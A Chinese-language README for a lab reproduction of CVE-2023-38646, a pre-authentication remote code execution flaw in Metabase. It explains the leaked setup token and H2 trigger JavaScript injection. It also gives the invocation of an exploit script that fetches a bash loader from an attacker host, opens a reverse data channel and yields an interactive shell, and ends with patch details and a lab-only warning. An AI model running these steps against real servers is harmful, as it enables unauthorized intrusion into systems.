
仓库包含PoC和复现cve 2023-38646的步骤
cd ~/metabase-poc cat > README.md << 'EOF'
CVSS 9.8。Metabase 0.46.6.1 / 1.46.6.1 之前的版本(以及等效的早期分支)通过 /api/setup/validate 端点暴露了一个预认证 RCE 漏洞。该端点本应在初始设置期间验证数据库连接详细信息,但在设置完成后仍可在无需认证的情况下访问。
该端点接受一个数据库连接载荷,当指定 engine: h2 并附带精心构造的 JDBC 连接字符串时,允许通过 H2 的 CREATE TRIGGER ... AS $$//javascript 语法嵌入任意 JavaScript。触发器体在验证时执行,攻击者可在 JVM 内执行 JavaScript,并通过 java.lang.Runtime.getRuntime().exec() 轻松升级为操作系统命令执行。
根本问题在于 H2 数据库引擎信任连接字符串中嵌入的代码作为“验证”数据源的一部分,再加上 Metabase 在预认证状态下暴露了此验证路径。
metabase/metabase:v0.46.6 Docker 镜像requests、termcolor运行存在漏洞的 Metabase:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase # 等待 "Metabase Initialization COMPLETE"
安装漏洞利用依赖:
pip3 install requests termcolor
/api/session/properties 泄露一个 setup-token,该令牌本应用于限制一次性初始设置流程,但在设置完成后仍然有效且可用。java.lang.Runtime.getRuntime().exec() 从攻击者的 HTTP 服务器获取一个 bash 加载器,并通过原始 TCP 监听器将命令输出以 base64 编码传回。python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
-l — 攻击者回调 IP(当目标为本地容器时,通常为 Docker 桥接网关,例如 172.17.0.1)-p — 反向数据通道回连的端口-P — 提供加载器脚本的本地 HTTP 服务器端口-u — 目标 Metabase 基础 URL一旦预认证回调确认可利用性,即可进入交互式 metabase_shell > 提示符。
metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
命令执行已确认为 metabase 服务帐户 — 预认证,无需凭证。严重性源于无需任何认证即可通过网络访问的 RCE,而非所得 shell 的权限级别。
在 Metabase 0.46.6.1 / 1.46.6.1 及更高版本中已打补丁 — /api/setup/validate 端点现在要求设置确实未完成,并且设置令牌在初始设置完成后即失效。
仅限隔离的实验室环境使用。请勿针对您不拥有或未获得明确授权测试的 Metabase 实例运行。 EOF